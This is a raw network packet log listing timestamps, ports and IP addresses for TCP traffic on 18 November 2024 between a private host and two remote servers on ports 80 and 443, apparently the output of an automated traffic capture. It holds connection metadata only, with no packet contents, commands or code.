Nov 18, 2024 13:29:40.951841116 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.951862097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.951875925 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.951924086 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.951941013 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.951962948 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.951977015 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.951992989 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.952004910 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.952004910 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.952028990 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.952035904 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.952035904 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.952068090 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.952073097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.952086926 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.952111959 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.952122927 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.956991911 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.957043886 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.957062006 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:40.957102060 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:40.965794086 CET	49703	80	192.168.2.8	199.232.210.172
Nov 18, 2024 13:29:40.971617937 CET	80	49703	199.232.210.172	192.168.2.8
Nov 18, 2024 13:29:40.971667051 CET	49703	80	192.168.2.8	199.232.210.172
Nov 18, 2024 13:29:41.108681917 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.108700037 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.108721972 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.108735085 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.108748913 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.108752012 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.108797073 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.109000921 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.109040976 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.109082937 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.109097004 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.109127045 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.109153986 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.109159946 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.109169960 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.109215975 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.110358000 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.110368013 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.110414028 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.176748037 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.177030087 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.177042007 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.177359104 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.177617073 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.177674055 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.177747011 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.223326921 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.225239038 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.225297928 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.225389004 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.225389004 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.225454092 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.225483894 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.225496054 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.225497007 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.225516081 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.225545883 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.225575924 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.225589037 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.225624084 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.226183891 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.226196051 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.226216078 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.226229906 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.226243019 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.226267099 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.226474047 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.226485014 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.226522923 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.227673054 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.227685928 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.227716923 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.227749109 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.231231928 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.263930082 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.263942957 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.263984919 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.264012098 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.307559013 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.307631016 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.307651997 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.307672977 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.307713985 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.307725906 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.307779074 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.307857037 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.307929993 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.308795929 CET	49830	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.308810949 CET	443	49830	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.314344883 CET	49831	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.314393997 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.314476013 CET	49831	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.314711094 CET	49831	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.314728022 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.342463017 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.342485905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.342665911 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.342665911 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.342673063 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.342732906 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.342741966 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.342753887 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.342767954 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.342806101 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.342924118 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.343187094 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.343198061 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.343260050 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.343329906 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.343410969 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.343422890 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.343456030 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.343470097 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.345072985 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.345083952 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.345097065 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.345139027 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.345171928 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.345175028 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.345228910 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.382535934 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.382579088 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.382591963 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.382744074 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.382744074 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.459844112 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.459866047 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.459959030 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.459971905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.459969044 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.460046053 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.460052967 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.460068941 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.460083961 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.460113049 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.460156918 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.460436106 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.460450888 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.460509062 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.460669041 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.460707903 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.460721016 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.460777998 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.462313890 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.462362051 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.462377071 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.462383986 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.462404966 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.462414980 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.462435961 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.462506056 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.499088049 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.499109030 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.499124050 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.499196053 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.499243021 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.577403069 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.577483892 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.577491045 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.577518940 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.577555895 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.577581882 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.577599049 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.577634096 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.577646971 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.577683926 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.577702999 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.577739000 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.578037024 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.578072071 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.578124046 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.578138113 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.578223944 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.578387022 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.578417063 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.578471899 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.579874039 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.579907894 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.579946041 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.579957962 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.579983950 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.579988956 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.580013037 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.580256939 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.616919994 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.617042065 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.617237091 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.617273092 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.617342949 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.694631100 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.694710970 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.694716930 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.694722891 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.694747925 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.694773912 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.694776058 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.694791079 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.694816113 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.694848061 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.695250034 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.695271969 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.695282936 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.695348978 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.695348978 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.695365906 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.695406914 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.695813894 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.695863008 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.695868969 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.696072102 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.696927071 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.696960926 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.696974993 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.696986914 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.697016001 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.697101116 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.697165012 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.697218895 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.736454964 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.736469984 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.736483097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.736546040 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.736596107 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.811932087 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.811945915 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.811959028 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.811994076 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.812027931 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.812027931 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.812041998 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.812067986 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.812092066 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.812328100 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.812381029 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.812395096 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.812432051 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.812446117 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.812468052 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.812482119 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.812505960 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.813102007 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.813112974 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.813150883 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.814358950 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.814372063 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.814383984 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.814418077 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.814441919 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.851337910 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.851412058 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.851461887 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.851475954 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.851531029 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.900232077 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.900245905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.900393963 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.922724009 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.923146009 CET	49831	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.923206091 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.923571110 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.923928976 CET	49831	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.924010038 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.924076080 CET	49831	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.929400921 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.929416895 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.929430008 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.929482937 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.929488897 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.929490089 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.929543018 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.929547071 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.929559946 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.929603100 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.929610968 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.929625034 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.929668903 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.929711103 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.930269957 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.930290937 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.930303097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.930351019 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.931503057 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.931515932 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.931528091 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.931586027 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.931586027 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.965631008 CET	49831	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:41.965686083 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:41.968511105 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.968539953 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.968552113 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:41.968610048 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.968610048 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:41.968610048 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.044873953 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.044945002 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.044980049 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.045059919 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.046742916 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.046814919 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.046824932 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.046865940 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.046905041 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.046920061 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.046952009 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.046958923 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.047013998 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.047050953 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.047089100 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.047107935 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.047132015 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.047656059 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.047714949 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.047723055 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.047771931 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.047780037 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.047810078 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.047846079 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.047867060 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.047895908 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.049833059 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.049870014 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.049905062 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.049941063 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.049966097 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:42.051187038 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:42.051202059 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:42.051270008 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:42.051271915 CET	49831	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:42.051367998 CET	49831	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:42.052582026 CET	49831	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:42.052615881 CET	443	49831	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:42.085860968 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.085886955 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:42.085900068 CET	80	49829	185.215.113.16	192.168.2.8
